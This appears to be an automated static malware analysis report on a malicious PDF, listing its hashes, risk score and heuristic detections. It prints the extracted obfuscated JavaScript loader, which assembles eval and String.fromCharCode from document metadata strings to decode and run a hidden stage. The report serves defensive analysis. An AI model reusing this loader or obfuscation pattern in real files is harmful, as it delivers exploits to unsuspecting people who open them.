Malicious PDF — malware analysis report

Static analysis result for SHA-256 b2d2a8c34e43eae9…

MALICIOUS

PDF

44.8 KB Authoring application: substr First seen: 2012-10-22
MD5: 8cd4023b1ee1bd4c59bf6708f79f0bec SHA-1: c2a8afe1bdb392887e0fd4fdb4c73314d80d83d8 SHA-256: b2d2a8c34e43eae9c1769a6ff543361cb8687a55b5aed5b485b932cbcd720d18
86 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB082 446 bytes
SHA-256: 52fce73d47076b20f3ac6299973b4f76a5a4b40a5e2e14d2484f5e50614ff0b2
Preview script
First 1,000 lines of the extracted script
s2='';
v=producer;
t='le';
b='v';
a="e".concat("a","n","b","w",b,"o");
s=a[0].concat(b,a[1],t[0]);
e=v[v]()[s];
ipvy=e('ti'.concat(v[4],t));
q=ipvy[v](a.length-6,a.length+2);
xzj=e(v[0].toUpperCase().concat(v[4],'ring.f',q[4],a[6],q));
q=ipvy[v](t.length+12)[e(v[0]+'ubjec'+v[4])]('c');
k=q['len'.concat('gth')];
i=0;
while(i!=k){
	veykr = 1*(q[i]);
	i++;
	veykr -= (-1)*(q[i]);
	s2 = s2.concat(xzj(veykr));
	i++;
}
e(s2);

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